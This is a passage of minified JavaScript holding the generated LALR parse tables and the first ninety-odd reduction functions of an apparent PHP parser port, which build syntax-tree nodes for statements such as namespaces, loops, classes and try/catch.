,886,823,915,852,869,488,0,391,793,0,338,0,0,0,340,0,273],r.Parser.prototype.yycheck=[2,3,4,5,6,8,9,10,70,11,104,105,106,107,108,109,8,9,10,8,9,24,60,26,27,28,29,30,31,32,33,34,24,7,26,27,28,29,30,41,42,7,123,124,7,47,70,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,144,0,75,68,69,70,25,72,70,74,7,76,77,78,79,7,81,142,83,70,85,72,73,88,8,9,10,92,93,94,95,7,97,98,95,100,7,7,103,104,24,142,26,27,105,106,111,112,113,136,7,7,139,114,115,116,117,122,123,132,125,126,127,128,129,130,131,8,8,9,10,136,137,138,139,140,141,25,143,141,145,142,147,148,24,72,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,144,48,72,44,45,46,30,48,144,64,72,8,9,10,140,70,8,9,10,74,60,25,77,78,79,60,81,24,83,26,85,60,24,88,26,27,28,92,93,94,64,140,97,98,70,100,70,72,103,104,74,145,7,77,78,79,111,81,7,83,30,85,140,140,88,8,9,10,92,93,94,133,134,97,98,145,100,140,7,103,104,24,139,96,141,140,141,111,101,75,75,30,70,75,64,70,60,110,121,12,70,141,25,143,74,96,141,77,78,79,101,81,141,83,140,85,140,141,88,110,145,144,92,93,94,64,7,97,98,142,100,70,141,103,104,74,145,141,77,78,79,111,81,7,83,30,85,132,25,88,132,142,12,92,93,94,120,60,97,98,12,100,148,141,103,104,141,12,96,12,140,141,111,101,8,9,10,141,25,64,90,91,110,65,66,70,41,42,43,74,65,66,77,78,79,12,81,25,83,25,85,140,141,88,123,124,25,92,93,94,64,25,97,98,142,100,70,120,103,104,74,25,25,77,78,79,111,81,30,83,48,85,140,141,88,140,141,30,92,93,94,140,141,97,98,60,100,60,60,103,104,61,72,75,70,140,141,111,67,70,87,99,70,70,64,70,72,102,89,70,70,71,70,70,74,70,70,77,78,79,70,81,70,83,70,85,140,141,88,70,144,70,92,93,94,64,70,97,98,72,100,70,72,103,104,74,72,72,77,78,79,111,81,75,83,75,85,89,86,88,79,101,118,92,93,94,87,95,97,98,87,100,87,87,103,104,118,105,106,95,140,141,111,95,115,64,114,115,116,117,135,70,115,120,132,74,120,140,77,78,79,119,81,139,83,140,85,120,-1,88,120,140,141,92,93,94,64,121,97,98,121,100,70,122,103,104,74,135,135,77,78,79,111,81,139,83,139,85,135,135,88,135,135,135,92,93,94,142,95,97,98,140,100,140,140,103,104,140,105,106,140,140,141,111,140,140,64,114,115,116,117,140,70,140,140,140,74,140,140,77,78,79,140,81,140,83,140,85,41,42,88,140,140,141,92,93,94,140,140,97,98,140,100,140,140,103,104,60,140,142,141,141,141,111,141,68,69,141,141,72,141,141,141,76,12,13,14,15,16,17,18,19,20,21,22,23,141,143,142,95,96,142,140,141,143,101,95,96,142,105,106,142,101,142,142,142,105,106,114,115,116,117,50,51,142,114,115,116,117,142,123,142,125,126,127,128,129,130,131,142,136,142,144,143,137,138,142,136,95,96,143,143,145,142,101,143,143,143,105,106,143,143,143,143,143,143,143,114,115,116,117,35,36,37,38,39,40,41,42,43,95,143,143,143,95,143,143,143,143,136,105,106,120,143,105,106,144,95,143,114,115,116,117,114,115,116,117,105,106,143,143,143,143,95,143,-1,114,115,116,117,143,143,143,105,106,143,95,142,80,146,95,142,114,115,116,117,105,106,144,144,105,106,144,95,142,114,115,116,117,114,115,116,117,105,106,82,144,144,144,144,142,84,114,115,116,117,144,70,95,72,144,144,95,142,144,146,144,142,105,106,146,144,105,106,8,9,10,114,115,116,117,114,115,116,117,144,144,144,144,144,24,104,26,27,28,29,144,144,144,144,144,144,144,144,144,144,144,-1,144,144,144,-1,-1,-1,146,146,146,146,146,146,146,146,-1,136,147,-1,139,-1,-1,-1,143,-1,145],r.Parser.prototype.yybase=[0,574,581,623,655,2,718,402,747,659,672,688,743,701,705,483,483,483,483,483,351,356,366,366,367,366,344,-2,-2,-2,200,200,231,231,231,231,231,231,231,231,200,231,451,482,532,316,370,115,146,285,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,401,44,474,429,476,481,487,488,739,740,741,734,733,416,736,539,541,342,542,543,552,557,559,536,567,737,755,569,735,738,123,123,123,123,123,123,123,123,123,122,11,336,336,336,336,336,336,336,336,336,336,336,336,336,336,336,227,227,173,577,577,577,577,577,577,577,577,577,577,577,79,178,846,8,-3,-3,-3,-3,642,706,706,706,706,157,179,242,431,431,360,431,525,368,767,767,767,767,767,767,767,767,767,767,767,767,350,375,315,315,652,652,-81,-81,-81,-81,251,185,188,184,-62,348,195,195,195,408,392,410,1,192,129,129,129,-24,-24,-24,-24,499,-24,-24,-24,113,108,108,12,161,349,526,271,398,529,438,130,206,265,427,76,414,427,288,295,76,166,44,262,422,141,491,372,494,413,71,92,93,267,135,100,34,415,745,746,742,-38,420,-10,135,147,744,498,107,26,493,144,377,363,369,332,363,400,377,588,377,376,377,360,37,582,376,377,374,376,388,363,364,412,369,377,441,443,390,106,332,377,390,377,400,64,590,591,323,592,589,593,649,608,362,500,399,407,620,625,636,365,354,614,524,425,359,355,423,570,578,357,406,414,394,352,403,531,433,403,653,434,385,417,411,444,310,318,501,425,668,757,380,637,684,403,609,387,87,325,638,382,403,639,403,696,503,615,403,697,384,435,425,352,352,352,700,66,699,583,702,707,704,748,721,749,584,750,358,583,722,751,682,215,613,422,436,389,447,221,257,752,403,403,506,499,403,395,685,397,426,753,392,391,647,683,403,418,754,221,723,587,724,450,568,507,648,509,327,725,353,497,610,454,622,455,461,404,510,373,732,612,247,361,664,463,405,692,641,464,465,511,343,437,335,409,396,665,293,467,468,472,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,0,0,0,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,0,0,0,0,0,0,0,0,0,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,123,767,767,767,767,767,767,767,767,767,767,767,123,123,123,123,123,123,123,123,0,129,129,129,129,-94,-94,-94,767,767,767,767,767,767,0,0,0,0,0,0,0,0,0,0,0,0,-94,-94,129,129,767,767,-24,-24,-24,-24,-24,108,108,108,-24,108,145,145,145,108,108,108,100,100,0,0,0,0,0,0,0,145,0,0,0,376,0,0,0,145,260,260,221,260,260,135,0,0,425,376,0,364,376,0,0,0,0,0,0,531,0,87,637,241,425,0,0,0,0,0,0,0,425,289,289,306,0,358,0,0,0,306,241,0,0,221],r.Parser.prototype.yydefault=[3,32767,32767,1,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,104,96,110,95,106,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,358,358,122,122,122,122,122,122,122,122,316,32767,32767,32767,32767,32767,32767,32767,32767,32767,173,173,173,32767,348,348,348,348,348,348,348,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,363,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,232,233,235,236,172,125,349,362,171,199,201,250,200,177,182,183,184,185,186,187,188,189,190,191,192,176,229,228,197,313,313,316,32767,32767,32767,32767,32767,32767,32767,32767,198,202,204,203,219,220,217,218,175,221,222,223,224,157,157,157,357,357,32767,357,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,158,32767,211,212,276,276,117,117,117,117,117,32767,32767,32767,32767,284,32767,32767,32767,32767,32767,286,32767,32767,206,207,205,32767,32767,32767,32767,32767,32767,32767,32767,32767,285,32767,32767,32767,32767,32767,32767,32767,32767,334,321,272,32767,32767,32767,265,32767,107,109,32767,32767,32767,32767,302,339,32767,32767,32767,17,32767,32767,32767,370,334,32767,32767,19,32767,32767,32767,32767,227,32767,338,332,32767,32767,32767,32767,32767,32767,63,32767,32767,32767,32767,32767,63,281,63,32767,63,32767,315,287,32767,63,74,32767,72,32767,32767,76,32767,63,93,93,254,315,54,63,254,63,32767,32767,32767,32767,4,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,267,32767,323,32767,337,336,324,32767,265,32767,215,194,266,32767,196,32767,32767,270,273,32767,32767,32767,134,32767,268,180,32767,32767,32767,32767,365,32767,32767,174,32767,32767,32767,130,32767,61,332,32767,32767,355,32767,32767,332,269,208,209,210,32767,121,32767,310,32767,32767,32767,32767,32767,32767,327,32767,333,32767,32767,32767,32767,111,32767,302,32767,32767,32767,75,32767,32767,178,126,32767,32767,364,32767,32767,32767,320,32767,32767,32767,32767,32767,62,32767,32767,77,32767,32767,32767,32767,332,32767,32767,32767,115,32767,169,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,32767,332,32767,32767,32767,32767,32767,32767,32767,4,32767,151,32767,32767,32767,32767,32767,32767,32767,25,25,3,137,3,137,25,101,25,25,137,93,93,25,25,25,144,25,25,25,25,25,25,25,25],r.Parser.prototype.yygoto=[141,141,173,173,173,173,173,173,173,173,141,173,142,143,144,148,153,155,181,175,172,172,172,172,174,174,174,174,174,174,174,168,169,170,171,179,757,758,392,760,781,782,783,784,785,786,787,789,725,145,146,147,149,150,151,152,154,177,178,180,196,208,209,210,211,212,213,214,215,217,218,219,220,244,245,266,267,268,430,431,432,182,183,184,185,186,187,188,189,190,191,192,156,157,158,159,176,160,194,161,162,163,164,195,165,193,139,166,167,452,452,452,452,452,452,452,452,452,452,452,453,453,453,453,453,453,453,453,453,453,453,551,551,551,464,491,394,394,394,394,394,394,394,394,394,394,394,394,394,394,394,394,394,394,407,552,552,552,810,810,662,662,662,662,662,594,283,595,510,399,399,567,679,632,849,850,863,660,714,426,222,622,622,622,622,223,617,623,494,395,395,395,395,395,395,395,395,395,395,395,395,395,395,395,395,395,395,465,472,514,904,398,398,425,425,459,425,419,322,421,421,393,396,412,422,428,460,463,473,481,501,5,476,284,327,1,15,2,6,7,550,550,550,8,9,10,668,16,11,17,12,18,13,19,14,704,328,881,881,643,628,626,626,624,626,526,401,652,647,847,847,847,847,847,847,847,847,847,847,847,437,438,441,447,477,479,497,290,910,910,400,400,486,880,880,263,913,910,303,255,723,306,822,821,306,896,896,896,861,304,323,410,913,913,897,316,420,769,658,559,879,671,536,324,466,565,311,311,311,801,241,676,496,439,440,442,444,448,475,631,858,311,285,286,603,495,712,0,406,321,0,0,0,314,0,0,429,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,411],r.Parser.prototype.yygcheck=[15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,35,35,35,35,35,35,35,35,35,35,35,86,86,86,86,86,86,86,86,86,86,86,6,6,6,21,21,35,35,35,35,35,35,35,35,35,35,35,35,35,35,35,35,35,35,71,7,7,7,35,35,35,35,35,35,35,29,44,29,35,86,86,12,12,12,12,12,12,12,12,75,40,35,35,35,35,40,35,35,35,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,36,36,36,104,82,82,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,13,42,42,42,2,13,2,13,13,5,5,5,13,13,13,54,13,13,13,13,13,13,13,13,67,67,83,83,5,5,5,5,5,5,5,5,5,5,93,93,93,93,93,93,93,93,93,93,93,52,52,52,52,52,52,52,4,105,105,89,89,94,84,84,92,105,105,26,92,71,4,91,91,4,84,84,84,97,30,70,30,105,105,102,27,30,72,50,10,84,55,46,9,30,11,90,90,90,80,30,56,30,85,85,85,85,85,85,43,96,90,44,44,34,77,69,-1,4,90,-1,-1,-1,4,-1,-1,4,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,71],r.Parser.prototype.yygbase=[0,0,-286,0,10,239,130,154,0,-10,25,-23,-29,-289,0,-30,0,0,0,0,0,83,0,0,0,0,245,84,-11,142,-28,0,0,0,-13,-88,-42,0,0,0,-344,0,-38,-12,-188,0,23,0,0,0,66,0,247,0,205,24,-18,0,0,0,0,0,0,0,0,0,0,13,0,-15,85,74,70,0,0,148,0,-14,0,0,-6,0,-35,11,47,278,-77,0,0,44,68,43,38,72,94,0,-16,109,0,0,0,0,87,0,170,34,0],r.Parser.prototype.yygdefault=[-32768,362,3,546,382,570,571,572,307,305,560,566,467,4,568,140,295,575,296,500,577,414,579,580,308,309,415,315,216,593,503,313,596,357,602,301,449,383,350,461,221,423,456,630,282,638,540,646,649,450,657,352,433,434,667,672,677,680,334,325,474,684,685,256,689,511,512,703,242,711,317,724,342,788,790,397,408,484,797,326,800,384,385,386,387,435,818,815,289,866,287,443,254,853,468,356,903,862,288,388,389,302,898,341,905,912,458],r.Parser.prototype.yylhs=[0,1,2,2,4,4,3,3,3,3,3,3,3,3,3,8,8,10,10,10,10,9,9,11,13,13,14,14,14,14,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,33,33,34,27,27,30,30,6,7,7,7,37,37,37,38,38,41,41,39,39,42,42,22,22,29,29,32,32,31,31,43,23,23,23,23,44,44,45,45,46,46,20,20,16,16,47,18,18,48,17,17,19,19,36,36,49,49,50,50,51,51,51,51,52,52,53,53,54,54,24,24,55,55,55,25,25,56,56,40,40,57,57,57,57,62,62,63,63,64,64,64,64,65,66,66,61,61,58,58,60,60,68,68,67,67,67,67,67,67,59,59,69,69,26,26,21,21,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,71,77,77,79,79,80,81,81,81,81,81,81,86,86,35,35,35,72,72,87,87,82,82,88,88,88,88,88,73,73,73,76,76,76,78,78,93,93,93,93,93,93,93,93,93,93,93,93,93,93,12,12,12,12,12,12,74,74,74,74,94,94,96,96,95,95,97,97,28,28,28,28,99,99,98,98,98,98,98,100,100,84,84,89,89,83,83,101,101,101,101,90,90,90,90,85,85,91,91,91,70,70,102,102,102,75,75,103,103,104,104,104,104,92,92,92,92,105,105,105,105,105,105,105,106,106,106],r.Parser.prototype.yylen=[1,1,2,0,1,3,1,1,1,1,3,5,4,3,3,3,1,1,3,2,4,3,1,3,2,0,1,1,1,1,3,7,10,5,7,9,5,2,3,2,3,2,3,3,3,3,1,2,5,7,8,10,5,1,5,3,3,2,1,2,8,1,3,0,1,9,7,6,5,1,2,2,0,2,0,2,0,2,1,3,1,4,1,4,1,4,1,3,3,3,4,4,5,0,2,4,3,1,1,1,4,0,2,5,0,2,6,0,2,0,3,1,0,1,3,3,5,0,1,1,1,1,0,1,3,1,2,3,1,1,2,4,3,1,1,3,2,0,3,3,8,3,1,3,0,2,4,5,4,4,3,1,1,1,3,1,1,0,1,1,2,1,1,1,1,1,1,1,3,1,3,3,1,0,1,1,6,3,4,4,1,2,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,5,4,4,4,2,2,4,2,2,2,2,2,2,2,2,2,2,2,1,4,3,3,2,9,10,3,0,4,1,3,2,4,6,8,4,4,4,1,1,1,2,3,1,1,1,1,1,1,0,3,3,4,4,0,2,3,0,1,1,0,3,1,1,1,1,1,1,1,1,1,1,1,3,2,1,1,3,2,2,4,3,1,3,3,3,0,2,0,1,3,1,3,1,1,1,1,1,6,4,3,6,4,4,4,1,3,1,2,1,1,4,1,3,6,4,4,4,4,1,4,0,1,1,3,1,3,1,1,4,0,0,2,3,1,3,1,4,2,2,2,1,2,1,4,3,3,3,6,3,1,1,1],r.Parser.prototype.yyn0=function(){this.yyval=this.yyastk[this.stackPos]},r.Parser.prototype.yyn1=function(e){this.yyval=this.Stmt_Namespace_postprocess(this.yyastk[this.stackPos-0])},r.Parser.prototype.yyn2=function(e){Array.isArray(this.yyastk[this.stackPos-0])?this.yyval=this.yyastk[this.stackPos-1].concat(this.yyastk[this.stackPos-0]):(this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1])},r.Parser.prototype.yyn3=function(e){this.yyval=[]},r.Parser.prototype.yyn4=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn5=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn6=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn7=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn8=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn9=function(e){this.yyval=this.Node_Stmt_HaltCompiler(e)},r.Parser.prototype.yyn10=function(e){this.yyval=this.Node_Stmt_Namespace(this.Node_Name(this.yyastk[this.stackPos-1],e),null,e)},r.Parser.prototype.yyn11=function(e){this.yyval=this.Node_Stmt_Namespace(this.Node_Name(this.yyastk[this.stackPos-3],e),this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn12=function(e){this.yyval=this.Node_Stmt_Namespace(null,this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn13=function(e){this.yyval=this.Node_Stmt_Use(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn14=function(e){this.yyval=this.Node_Stmt_Const(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn15=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn16=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn17=function(e){this.yyval=this.Node_Stmt_UseUse(this.Node_Name(this.yyastk[this.stackPos-0],e),null,e)},r.Parser.prototype.yyn18=function(e){this.yyval=this.Node_Stmt_UseUse(this.Node_Name(this.yyastk[this.stackPos-2],e),this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn19=function(e){this.yyval=this.Node_Stmt_UseUse(this.Node_Name(this.yyastk[this.stackPos-0],e),null,e)},r.Parser.prototype.yyn20=function(e){this.yyval=this.Node_Stmt_UseUse(this.Node_Name(this.yyastk[this.stackPos-2],e),this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn21=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn22=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn23=function(e){this.yyval=this.Node_Const(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn24=function(e){Array.isArray(this.yyastk[this.stackPos-0])?this.yyval=this.yyastk[this.stackPos-1].concat(this.yyastk[this.stackPos-0]):(this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1])},r.Parser.prototype.yyn25=function(e){this.yyval=[]},r.Parser.prototype.yyn26=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn27=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn28=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn29=function(e){throw new Error(\"__halt_compiler() can only be used from the outermost scope\")},r.Parser.prototype.yyn30=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn31=function(e){this.yyval=this.Node_Stmt_If(this.yyastk[this.stackPos-4],{stmts:Array.isArray(this.yyastk[this.stackPos-2])?this.yyastk[this.stackPos-2]:[this.yyastk[this.stackPos-2]],elseifs:this.yyastk[this.stackPos-1],Else:this.yyastk[this.stackPos-0]},e)},r.Parser.prototype.yyn32=function(e){this.yyval=this.Node_Stmt_If(this.yyastk[this.stackPos-7],{stmts:this.yyastk[this.stackPos-4],elseifs:this.yyastk[this.stackPos-3],\"else\":this.yyastk[this.stackPos-2]},e)},r.Parser.prototype.yyn33=function(e){this.yyval=this.Node_Stmt_While(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn34=function(e){this.yyval=this.Node_Stmt_Do(this.yyastk[this.stackPos-2],Array.isArray(this.yyastk[this.stackPos-5])?this.yyastk[this.stackPos-5]:[this.yyastk[this.stackPos-5]],e)},r.Parser.prototype.yyn35=function(e){this.yyval=this.Node_Stmt_For({init:this.yyastk[this.stackPos-6],cond:this.yyastk[this.stackPos-4],loop:this.yyastk[this.stackPos-2],stmts:this.yyastk[this.stackPos-0]},e)},r.Parser.prototype.yyn36=function(e){this.yyval=this.Node_Stmt_Switch(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn37=function(e){this.yyval=this.Node_Stmt_Break(null,e)},r.Parser.prototype.yyn38=function(e){this.yyval=this.Node_Stmt_Break(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn39=function(e){this.yyval=this.Node_Stmt_Continue(null,e)},r.Parser.prototype.yyn40=function(e){this.yyval=this.Node_Stmt_Continue(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn41=function(e){this.yyval=this.Node_Stmt_Return(null,e)},r.Parser.prototype.yyn42=function(e){this.yyval=this.Node_Stmt_Return(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn43=function(e){this.yyval=this.Node_Stmt_Global(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn44=function(e){this.yyval=this.Node_Stmt_Static(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn45=function(e){this.yyval=this.Node_Stmt_Echo(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn46=function(e){this.yyval=this.Node_Stmt_InlineHTML(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn47=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn48=function(e){this.yyval=this.Node_Stmt_Unset(this.yyastk[this.stackPos-2],e)},r.Parser.prototype.yyn49=function(e){this.yyval=this.Node_Stmt_Foreach(this.yyastk[this.stackPos-4],this.yyastk[this.stackPos-2],{keyVar:null,byRef:!1,stmts:this.yyastk[this.stackPos-0]},e)},r.Parser.prototype.yyn50=function(e){this.yyval=this.Node_Stmt_Foreach(this.yyastk[this.stackPos-5],this.yyastk[this.stackPos-2],{keyVar:null,byRef:!0,stmts:this.yyastk[this.stackPos-0]},e)},r.Parser.prototype.yyn51=function(e){this.yyval=this.Node_Stmt_Foreach(this.yyastk[this.stackPos-7],this.yyastk[this.stackPos-2],{keyVar:this.yyastk[this.stackPos-5],byRef:this.yyastk[this.stackPos-3],stmts:this.yyastk[this.stackPos-0]},e)},r.Parser.prototype.yyn52=function(e){this.yyval=this.Node_Stmt_Declare(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn53=function(e){this.yyval=[]},r.Parser.prototype.yyn54=function(e){this.yyval=this.Node_Stmt_TryCatch(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn55=function(e){this.yyval=this.Node_Stmt_Throw(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn56=function(e){this.yyval=this.Node_Stmt_Goto(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn57=function(e){this.yyval=this.Node_Stmt_Label(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn58=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn59=function(e){this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn60=function(e){this.yyval=this.Node_Stmt_Catch(this.yyastk[this.stackPos-5],this.yyastk[this.stackPos-4].substring(1),this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn61=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn62=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn63=function(e){this.yyval=!1},r.Parser.prototype.yyn64=function(e){this.yyval=!0},r.Parser.prototype.yyn65=function(e){this.yyval=this.Node_Stmt_Function(this.yyastk[this.stackPos-6],{byRef:this.yyastk[this.stackPos-7],params:this.yyastk[this.stackPos-4],stmts:this.yyastk[this.stackPos-1]},e)},r.Parser.prototype.yyn66=function(e){this.yyval=this.Node_Stmt_Class(this.yyastk[this.stackPos-5],{type:this.yyastk[this.stackPos-6],Extends:this.yyastk[this.stackPos-4],Implements:this.yyastk[this.stackPos-3],stmts:this.yyastk[this.stackPos-1]},e)},r.Parser.prototype.yyn67=function(e){this.yyval=this.Node_Stmt_Interface(this.yyastk[this.stackPos-4],{Extends:this.yyastk[this.stackPos-3],stmts:this.yyastk[this.stackPos-1]},e)},r.Parser.prototype.yyn68=function(e){this.yyval=this.Node_Stmt_Trait(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn69=function(e){this.yyval=0},r.Parser.prototype.yyn70=function(e){this.yyval=this.MODIFIER_ABSTRACT},r.Parser.prototype.yyn71=function(e){this.yyval=this.MODIFIER_FINAL},r.Parser.prototype.yyn72=function(e){this.yyval=null},r.Parser.prototype.yyn73=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn74=function(e){this.yyval=[]},r.Parser.prototype.yyn75=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn76=function(e){this.yyval=[]},r.Parser.prototype.yyn77=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn78=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn79=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn80=function(e){this.yyval=Array.isArray(this.yyastk[this.stackPos-0])?this.yyastk[this.stackPos-0]:[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn81=function(e){this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn82=function(e){this.yyval=Array.isArray(this.yyastk[this.stackPos-0])?this.yyastk[this.stackPos-0]:[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn83=function(e){this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn84=function(e){this.yyval=Array.isArray(this.yyastk[this.stackPos-0])?this.yyastk[this.stackPos-0]:[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn85=function(e){this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn86=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn87=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn88=function(e){this.yyval=this.Node_Stmt_DeclareDeclare(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn89=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn90=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn91=function(e){this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn92=function(e){this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn93=function(e){this.yyval=[]}